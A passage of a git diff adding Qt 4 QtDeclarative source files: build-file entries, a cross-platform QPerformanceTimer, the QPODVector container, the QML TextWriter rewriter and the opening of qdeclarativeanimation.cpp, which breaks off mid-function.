+ $$PWD/qdeclarativeextensionplugin.cpp \
+ $$PWD/qdeclarativeimport.cpp \
+ $$PWD/qdeclarativelist.cpp \
+ $$PWD/qperformancetimer.cpp
+
+HEADERS += \
+ $$PWD/qdeclarativeparser_p.h \
+ $$PWD/qdeclarativeglobal_p.h \
+ $$PWD/qdeclarativeinstruction_p.h \
+ $$PWD/qdeclarativevmemetaobject_p.h \
+ $$PWD/qdeclarative.h \
+ $$PWD/qdeclarativebinding_p.h \
+ $$PWD/qdeclarativebinding_p_p.h \
+ $$PWD/qdeclarativeproperty.h \
+ $$PWD/qdeclarativecomponent.h \
+ $$PWD/qdeclarativecomponent_p.h \
+ $$PWD/qdeclarativecustomparser_p.h \
+ $$PWD/qdeclarativecustomparser_p_p.h \
+ $$PWD/qdeclarativepropertyvaluesource.h \
+ $$PWD/qdeclarativepropertyvalueinterceptor.h \
+ $$PWD/qdeclarativeboundsignal_p.h \
+ $$PWD/qdeclarativeparserstatus.h \
+ $$PWD/qdeclarativeproxymetaobject_p.h \
+ $$PWD/qdeclarativevme_p.h \
+ $$PWD/qdeclarativecompiler_p.h \
+ $$PWD/qdeclarativeengine_p.h \
+ $$PWD/qdeclarativeexpression_p.h \
+ $$PWD/qdeclarativeprivate.h \
+ $$PWD/qdeclarativedom_p.h \
+ $$PWD/qdeclarativedom_p_p.h \
+ $$PWD/qdeclarativerefcount_p.h \
+ $$PWD/qdeclarativemetatype_p.h \
+ $$PWD/qdeclarativeengine.h \
+ $$PWD/qdeclarativecontext.h \
+ $$PWD/qdeclarativeexpression.h \
+ $$PWD/qdeclarativestringconverters_p.h \
+ $$PWD/qdeclarativeinfo.h \
+ $$PWD/qdeclarativeproperty_p.h \
+ $$PWD/qdeclarativecontext_p.h \
+ $$PWD/qdeclarativeinclude_p.h \
+ $$PWD/qdeclarativetypeloader_p.h \
+ $$PWD/qdeclarativelist.h \
+ $$PWD/qdeclarativelist_p.h \
+ $$PWD/qdeclarativedata_p.h \
+ $$PWD/qdeclarativeerror.h \
+ $$PWD/qdeclarativescriptparser_p.h \
+ $$PWD/qdeclarativerewrite_p.h \
+ $$PWD/qpodvector_p.h \
+ $$PWD/qbitfield_p.h \
+ $$PWD/qdeclarativevaluetype_p.h \
+ $$PWD/qdeclarativecompiledbindings_p.h \
+ $$PWD/qdeclarativefastproperties_p.h \
+ $$PWD/qdeclarativexmlhttprequest_p.h \
+ $$PWD/qdeclarativesqldatabase_p.h \
+ $$PWD/qmetaobjectbuilder_p.h \
+ $$PWD/qdeclarativewatcher_p.h \
+ $$PWD/qdeclarativecleanup_p.h \
+ $$PWD/qdeclarativepropertycache_p.h \
+ $$PWD/qdeclarativenotifier_p.h \
+ $$PWD/qdeclarativeintegercache_p.h \
+ $$PWD/qdeclarativetypenotavailable_p.h \
+ $$PWD/qdeclarativetypenamecache_p.h \
+ $$PWD/qdeclarativescriptstring.h \
+ $$PWD/qdeclarativeobjectscriptclass_p.h \
+ $$PWD/qdeclarativecontextscriptclass_p.h \
+ $$PWD/qdeclarativeglobalscriptclass_p.h \
+ $$PWD/qdeclarativevaluetypescriptclass_p.h \
+ $$PWD/qdeclarativetypenamescriptclass_p.h \
+ $$PWD/qdeclarativelistscriptclass_p.h \
+ $$PWD/qdeclarativeworkerscript_p.h \
+ $$PWD/qdeclarativeguard_p.h \
+ $$PWD/qdeclarativeimageprovider.h \
+ $$PWD/qdeclarativenetworkaccessmanagerfactory.h \
+ $$PWD/qdeclarativedirparser_p.h \
+ $$PWD/qdeclarativeextensioninterface.h \
+ $$PWD/qdeclarativeimport_p.h \
+ $$PWD/qdeclarativeextensionplugin.h \
+ $$PWD/qperformancetimer_p.h
+
+QT += sql
+include(parser/parser.pri)
+include(rewriter/rewriter.pri)
+
+# mirrors logic in corelib/kernel/kernel.pri
+unix:!symbian: contains(QT_CONFIG, clock-gettime):include($$QT_SOURCE_TREE/config.tests/unix/clock-gettime/clock-gettime.pri)
diff --git a/src/declarative/qml/qperformancetimer.cpp b/src/declarative/qml/qperformancetimer.cpp
new file mode 100644
index 00000000..b67bee4b
--- /dev/null
+++ b/src/declarative/qml/qperformancetimer.cpp
@@ -0,0 +1,227 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qperformancetimer_p.h"
+
+#if defined(Q_OS_MAC)
+#include <sys/time.h>
+#include <unistd.h>
+#include <mach/mach_time.h>
+#elif defined(Q_OS_SYMBIAN)
+#include <e32std.h>
+#include <sys/time.h>
+#include <hal.h>
+#include <hal_data.h>
+#elif defined(Q_OS_UNIX)
+#include <sys/time.h>
+#include <time.h>
+#include <unistd.h>
+#elif defined(Q_OS_WIN)
+#include <windows.h>
+#endif
+
+// mac/unix code heavily copied from QElapsedTimer
+
+QT_BEGIN_NAMESPACE
+
+////////////////////////////// Mac //////////////////////////////
+#if defined(Q_OS_MAC)
+
+static mach_timebase_info_data_t info = {0,0};
+static qint64 absoluteToNSecs(qint64 cpuTime)
+{
+ if (info.denom == 0)
+ mach_timebase_info(&info);
+ qint64 nsecs = cpuTime * info.numer / info.denom;
+ return nsecs;
+}
+
+void QPerformanceTimer::start()
+{
+ t1 = mach_absolute_time();
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ uint64_t cpu_time = mach_absolute_time();
+ return absoluteToNSecs(cpu_time - t1);
+}
+
+////////////////////////////// Symbian //////////////////////////////
+#elif defined(Q_OS_SYMBIAN)
+
+static qint64 getTimeFromTick(quint64 elapsed)
+{
+ static TInt freq = 0;
+ if (!freq)
+ HAL::Get(HALData::EFastCounterFrequency, freq);
+
+ return (elapsed * 1000000000) / freq;
+}
+
+void QPerformanceTimer::start()
+{
+ t1 = User::FastCounter();
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ return getTimeFromTick(User::FastCounter() - t1);
+}
+
+
+////////////////////////////// Unix //////////////////////////////
+#elif defined(Q_OS_UNIX)
+
+#if defined(QT_NO_CLOCK_MONOTONIC) || defined(QT_BOOTSTRAPPED)
+// turn off the monotonic clock
+# ifdef _POSIX_MONOTONIC_CLOCK
+# undef _POSIX_MONOTONIC_CLOCK
+# endif
+# define _POSIX_MONOTONIC_CLOCK -1
+#endif
+
+#if (_POSIX_MONOTONIC_CLOCK-0 != 0)
+static const bool monotonicClockChecked = true;
+static const bool monotonicClockAvailable = _POSIX_MONOTONIC_CLOCK > 0;
+#else
+static int monotonicClockChecked = false;
+static int monotonicClockAvailable = false;
+#endif
+
+#ifdef Q_CC_GNU
+# define is_likely(x) __builtin_expect((x), 1)
+#else
+# define is_likely(x) (x)
+#endif
+#define load_acquire(x) ((volatile const int&)(x))
+#define store_release(x,v) ((volatile int&)(x) = (v))
+
+static void unixCheckClockType()
+{
+#if (_POSIX_MONOTONIC_CLOCK-0 == 0)
+ if (is_likely(load_acquire(monotonicClockChecked)))
+ return;
+
+# if defined(_SC_MONOTONIC_CLOCK)
+ // detect if the system support monotonic timers
+ long x = sysconf(_SC_MONOTONIC_CLOCK);
+ store_release(monotonicClockAvailable, x >= 200112L);
+# endif
+
+ store_release(monotonicClockChecked, true);
+#endif
+}
+
+static inline void do_gettime(qint64 *sec, qint64 *frac)
+{
+#if (_POSIX_MONOTONIC_CLOCK-0 >= 0)
+ unixCheckClockType();
+ if (is_likely(monotonicClockAvailable)) {
+ timespec ts;
+ clock_gettime(CLOCK_MONOTONIC, &ts);
+ *sec = ts.tv_sec;
+ *frac = ts.tv_nsec;
+ return;
+ }
+#endif
+ *sec = 0;
+ *frac = 0;
+}
+
+void QPerformanceTimer::start()
+{
+ do_gettime(&t1, &t2);
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ qint64 sec, frac;
+ do_gettime(&sec, &frac);
+ sec = sec - t1;
+ frac = frac - t2;
+
+ return sec * Q_INT64_C(1000000000) + frac;
+}
+
+////////////////////////////// Windows //////////////////////////////
+#elif defined(Q_OS_WIN)
+
+static qint64 getTimeFromTick(quint64 elapsed)
+{
+ static LARGE_INTEGER freq;
+ if (!freq.QuadPart)
+ QueryPerformanceFrequency(&freq);
+ return 1000000000 * elapsed / freq.QuadPart;
+}
+
+void QPerformanceTimer::start()
+{
+ LARGE_INTEGER li;
+ QueryPerformanceCounter(&li);
+ t1 = li.QuadPart;
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ LARGE_INTEGER li;
+ QueryPerformanceCounter(&li);
+ return getTimeFromTick(li.QuadPart - t1);
+}
+
+////////////////////////////// Default //////////////////////////////
+#else
+
+// default implementation (no hi-perf timer) does nothing
+void QPerformanceTimer::start()
+{
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ return 0;
+}
+
+#endif
+
+QT_END_NAMESPACE
+
+
diff --git a/src/declarative/qml/qperformancetimer_p.h b/src/declarative/qml/qperformancetimer_p.h
new file mode 100644
index 00000000..b637cd70
--- /dev/null
+++ b/src/declarative/qml/qperformancetimer_p.h
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QPERFORMANCETIMER_P_H
+#define QPERFORMANCETIMER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists for the convenience
+// of moc. This header file may change from version to version without notice,
+// or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QPerformanceTimer
+{
+public:
+ void start();
+ qint64 elapsed() const;
+
+private:
+ qint64 t1;
+ qint64 t2;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QPERFORMANCETIMER_P_H
diff --git a/src/declarative/qml/qpodvector_p.h b/src/declarative/qml/qpodvector_p.h
new file mode 100644
index 00000000..ee48e524
--- /dev/null
+++ b/src/declarative/qml/qpodvector_p.h
@@ -0,0 +1,173 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QPODVECTOR_P_H
+#define QPODVECTOR_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+#include <QDebug>
+
+QT_BEGIN_NAMESPACE
+
+template<class T, int Increment=1024>
+class QPODVector
+{
+public:
+ QPODVector()
+ : m_count(0), m_capacity(0), m_data(0) {}
+ ~QPODVector() { if (m_data) ::free(m_data); }
+
+ const T &at(int idx) const {
+ return m_data[idx];
+ }
+
+ T &operator[](int idx) {
+ return m_data[idx];
+ }
+
+ void clear() {
+ m_count = 0;
+ }
+
+ void prepend(const T &v) {
+ insert(0, v);
+ }
+
+ void append(const T &v) {
+ insert(m_count, v);
+ }
+
+ void insert(int idx, const T &v) {
+ if (m_count == m_capacity) {
+ m_capacity += Increment;
+ m_data = (T *)q_check_ptr(realloc(m_data, m_capacity * sizeof(T)));
+ }
+ int moveCount = m_count - idx;
+ if (moveCount)
+ ::memmove(m_data + idx + 1, m_data + idx, moveCount * sizeof(T));
+ m_count++;
+ m_data[idx] = v;
+ }
+
+ void reserve(int count) {
+ if (count >= m_capacity) {
+ m_capacity = (count + (Increment-1)) & (0xFFFFFFFF - Increment + 1);
+ m_data = (T *)q_check_ptr(realloc(m_data, m_capacity * sizeof(T)));
+ }
+ }
+
+ void insertBlank(int idx, int count) {
+ int newSize = m_count + count;
+ reserve(newSize);
+ int moveCount = m_count - idx;
+ if (moveCount)
+ ::memmove(m_data + idx + count, m_data + idx,
+ moveCount * sizeof(T));
+ m_count = newSize;
+ }
+
+ void remove(int idx, int count = 1) {
+ int moveCount = m_count - (idx + count);
+ if (moveCount)
+ ::memmove(m_data + idx, m_data + idx + count,
+ moveCount * sizeof(T));
+ m_count -= count;
+ }
+
+ void removeOne(const T &v) {
+ int idx = 0;
+ while (idx < m_count) {
+ if (m_data[idx] == v) {
+ remove(idx);
+ return;
+ }
+ ++idx;
+ }
+ }
+
+ int find(const T &v) {
+ for (int idx = 0; idx < m_count; ++idx)
+ if (m_data[idx] == v)
+ return idx;
+ return -1;
+ }
+
+ bool contains(const T &v) {
+ return find(v) != -1;
+ }
+
+ int count() const {
+ return m_count;
+ }
+
+ void copyAndClear(QPODVector<T,Increment> &other) {
+ if (other.m_data) ::free(other.m_data);
+ other.m_count = m_count;
+ other.m_capacity = m_capacity;
+ other.m_data = m_data;
+ m_count = 0;
+ m_capacity = 0;
+ m_data = 0;
+ }
+
+ QPODVector<T,Increment> &operator<<(const T &v) { append(v); return *this; }
+private:
+ QPODVector(const QPODVector &);
+ QPODVector &operator=(const QPODVector &);
+ int m_count;
+ int m_capacity;
+ T *m_data;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/qml/rewriter/rewriter.pri b/src/declarative/qml/rewriter/rewriter.pri
new file mode 100644
index 00000000..a9fa1b57
--- /dev/null
+++ b/src/declarative/qml/rewriter/rewriter.pri
@@ -0,0 +1,4 @@
+INCLUDEPATH += $$PWD
+
+HEADERS += $$PWD/textwriter_p.h
+SOURCES += $$PWD/textwriter.cpp
diff --git a/src/declarative/qml/rewriter/textwriter.cpp b/src/declarative/qml/rewriter/textwriter.cpp
new file mode 100644
index 00000000..6d07d3f9
--- /dev/null
+++ b/src/declarative/qml/rewriter/textwriter.cpp
@@ -0,0 +1,217 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/textwriter_p.h"
+
+QT_QML_BEGIN_NAMESPACE
+
+using namespace QDeclarativeJS;
+
+TextWriter::TextWriter()
+ :string(0), cursor(0)
+{
+}
+
+static bool overlaps(int posA, int lengthA, int posB, int lengthB) {
+ return (posA < posB + lengthB && posA + lengthA > posB + lengthB)
+ || (posA < posB && posA + lengthA > posB);
+}
+
+bool TextWriter::hasOverlap(int pos, int length)
+{
+ {
+ QListIterator<Replace> i(replaceList);
+ while (i.hasNext()) {
+ const Replace &cmd = i.next();
+ if (overlaps(pos, length, cmd.pos, cmd.length))
+ return true;
+ }
+ }
+ {
+ QListIterator<Move> i(moveList);
+ while (i.hasNext()) {
+ const Move &cmd = i.next();
+ if (overlaps(pos, length, cmd.pos, cmd.length))
+ return true;
+ }
+ return false;
+ }
+}
+
+bool TextWriter::hasMoveInto(int pos, int length)
+{
+ QListIterator<Move> i(moveList);
+ while (i.hasNext()) {
+ const Move &cmd = i.next();
+ if (cmd.to >= pos && cmd.to < pos + length)
+ return true;
+ }
+ return false;
+}
+
+void TextWriter::replace(int pos, int length, const QString &replacement)
+{
+ Q_ASSERT(!hasOverlap(pos, length));
+ Q_ASSERT(!hasMoveInto(pos, length));
+
+ Replace cmd;
+ cmd.pos = pos;
+ cmd.length = length;
+ cmd.replacement = replacement;
+ replaceList += cmd;
+}
+
+void TextWriter::move(int pos, int length, int to)
+{
+ Q_ASSERT(!hasOverlap(pos, length));
+
+ Move cmd;
+ cmd.pos = pos;
+ cmd.length = length;
+ cmd.to = to;
+ moveList += cmd;
+}
+
+void TextWriter::doReplace(const Replace &replace)
+{
+ int diff = replace.replacement.size() - replace.length;
+ {
+ QMutableListIterator<Replace> i(replaceList);
+ while (i.hasNext()) {
+ Replace &c = i.next();
+ if (replace.pos < c.pos)
+ c.pos += diff;
+ else if (replace.pos + replace.length < c.pos + c.length)
+ c.length += diff;
+ }
+ }
+ {
+ QMutableListIterator<Move> i(moveList);
+ while (i.hasNext()) {
+ Move &c = i.next();
+ if (replace.pos < c.pos)
+ c.pos += diff;
+ else if (replace.pos + replace.length < c.pos + c.length)
+ c.length += diff;
+
+ if (replace.pos < c.to)
+ c.to += diff;
+ }
+ }
+
+ if (string) {
+ string->replace(replace.pos, replace.length, replace.replacement);
+ } else if (cursor) {
+ cursor->setPosition(replace.pos);
+ cursor->setPosition(replace.pos + replace.length, QTextCursor::KeepAnchor);
+ cursor->insertText(replace.replacement);
+ }
+}
+
+void TextWriter::doMove(const Move &move)
+{
+ QString text;
+ if (string) {
+ text = string->mid(move.pos, move.length);
+ } else if (cursor) {
+ cursor->setPosition(move.pos);
+ cursor->setPosition(move.pos + move.length, QTextCursor::KeepAnchor);
+ text = cursor->selectedText();
+ }
+
+ Replace cut;
+ cut.pos = move.pos;
+ cut.length = move.length;
+ Replace paste;
+ paste.pos = move.to;
+ paste.length = 0;
+ paste.replacement = text;
+
+ replaceList.append(cut);
+ replaceList.append(paste);
+
+ Replace cmd;
+ while (!replaceList.isEmpty()) {
+ cmd = replaceList.first();
+ replaceList.removeFirst();
+ doReplace(cmd);
+ }
+}
+
+void TextWriter::write(QString *s)
+{
+ string = s;
+ write_helper();
+ string = 0;
+}
+
+void TextWriter::write(QTextCursor *textCursor)
+{
+ cursor = textCursor;
+ write_helper();
+ cursor = 0;
+}
+
+void TextWriter::write_helper()
+{
+ if (cursor)
+ cursor->beginEditBlock();
+ {
+ Replace cmd;
+ while (!replaceList.isEmpty()) {
+ cmd = replaceList.first();
+ replaceList.removeFirst();
+ doReplace(cmd);
+ }
+ }
+ {
+ Move cmd;
+ while (!moveList.isEmpty()) {
+ cmd = moveList.first();
+ moveList.removeFirst();
+ doMove(cmd);
+ }
+ }
+ if (cursor)
+ cursor->endEditBlock();
+}
+
+QT_QML_END_NAMESPACE
diff --git a/src/declarative/qml/rewriter/textwriter_p.h b/src/declarative/qml/rewriter/textwriter_p.h
new file mode 100644
index 00000000..472539d5
--- /dev/null
+++ b/src/declarative/qml/rewriter/textwriter_p.h
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef TEXTWRITER_H
+#define TEXTWRITER_H
+
+#include <qdeclarativejsglobal_p.h>
+
+#include <QtCore/QString>
+#include <QtCore/QList>
+#include <QtGui/QTextCursor>
+
+QT_BEGIN_HEADER
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS {
+
+class TextWriter
+{
+ QString *string;
+ QTextCursor *cursor;
+
+ struct Replace {
+ int pos;
+ int length;
+ QString replacement;
+ };
+
+ QList<Replace> replaceList;
+
+ struct Move {
+ int pos;
+ int length;
+ int to;
+ };
+
+ QList<Move> moveList;
+
+ bool hasOverlap(int pos, int length);
+ bool hasMoveInto(int pos, int length);
+
+ void doReplace(const Replace &replace);
+ void doMove(const Move &move);
+
+ void write_helper();
+
+public:
+ TextWriter();
+
+ void replace(int pos, int length, const QString &replacement);
+ void move(int pos, int length, int to);
+
+ void write(QString *s);
+ void write(QTextCursor *textCursor);
+
+};
+
+} // end of namespace QDeclarativeJS
+
+QT_QML_END_NAMESPACE
+QT_END_HEADER
+
+#endif // TEXTWRITER_H
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
new file mode 100644
index 00000000..496520e6
--- /dev/null
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -0,0 +1,2952 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeanimation_p.h"
+#include "private/qdeclarativeanimation_p_p.h"
+
+#include "private/qdeclarativebehavior_p.h"
+#include "private/qdeclarativestateoperations_p.h"
+#include "private/qdeclarativecontext_p.h"
+
+#include <qdeclarativepropertyvaluesource.h>
+#include <qdeclarative.h>
+#include <qdeclarativeinfo.h>
+#include <qdeclarativeexpression.h>
+#include <qdeclarativestringconverters_p.h>
+#include <qdeclarativeglobal_p.h>
+#include <qdeclarativemetatype_p.h>
+#include <qdeclarativevaluetype_p.h>
+#include <qdeclarativeproperty_p.h>
+#include <qdeclarativeengine_p.h>
+
+#include <qvariant.h>
+#include <qcolor.h>
+#include <qfile.h>
+#include <QParallelAnimationGroup>
+#include <QSequentialAnimationGroup>
+#include <QtCore/qset.h>
+#include <QtCore/qrect.h>
+#include <QtCore/qpoint.h>
+#include <QtCore/qsize.h>
+#include <QtCore/qmath.h>
+
+#include <private/qvariantanimation_p.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass Animation QDeclarativeAbstractAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \brief The Animation element is the base of all QML animations.
+
+ The Animation element cannot be used directly in a QML file. It exists
+ to provide a set of common properties and methods, available across all the
+ other animation types that inherit from it. Attempting to use the Animation
+ element directly will result in an error.
+*/
+
+QDeclarativeAbstractAnimation::QDeclarativeAbstractAnimation(QObject *parent)
+: QObject(*(new QDeclarativeAbstractAnimationPrivate), parent)
+{
+}
+
+QDeclarativeAbstractAnimation::~QDeclarativeAbstractAnimation()
+{
+}
+
+QDeclarativeAbstractAnimation::QDeclarativeAbstractAnimation(QDeclarativeAbstractAnimationPrivate &dd, QObject *parent)
+: QObject(dd, parent)
+{
+}
+
+/*!
+ \qmlproperty bool Animation::running
+ This property holds whether the animation is currently running.
+
+ The \c running property can be set to declaratively control whether or not
+ an animation is running. The following example will animate a rectangle
+ whenever the \l MouseArea is pressed.
+
+ \code
+ Rectangle {
+ width: 100; height: 100
+ NumberAnimation on x {
+ running: myMouse.pressed
+ from: 0; to: 100
+ }
+ MouseArea { id: myMouse }
+ }
+ \endcode
+
+ Likewise, the \c running property can be read to determine if the animation
+ is running. In the following example the text element will indicate whether
+ or not the animation is running.
+
+ \code
+ NumberAnimation { id: myAnimation }
+ Text { text: myAnimation.running ? "Animation is running" : "Animation is not running" }
+ \endcode
+
+ Animations can also be started and stopped imperatively from JavaScript
+ using the \c start() and \c stop() methods.
+
+ By default, animations are not running. Though, when the animations are assigned to properties,
+ as property value sources using the \e on syntax, they are set to running by default.
+*/
+bool QDeclarativeAbstractAnimation::isRunning() const
+{
+ Q_D(const QDeclarativeAbstractAnimation);
+ return d->running;
+}
+
+// the behavior calls this function
+void QDeclarativeAbstractAnimation::notifyRunningChanged(bool running)
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ if (d->disableUserControl && d->running != running) {
+ d->running = running;
+ emit runningChanged(running);
+ }
+}
+
+//commence is called to start an animation when it is used as a
+//simple animation, and not as part of a transition
+void QDeclarativeAbstractAnimationPrivate::commence()
+{
+ Q_Q(QDeclarativeAbstractAnimation);
+
+ QDeclarativeStateActions actions;
+ QDeclarativeProperties properties;
+ q->transition(actions, properties, QDeclarativeAbstractAnimation::Forward);
+
+ q->qtAnimation()->start();
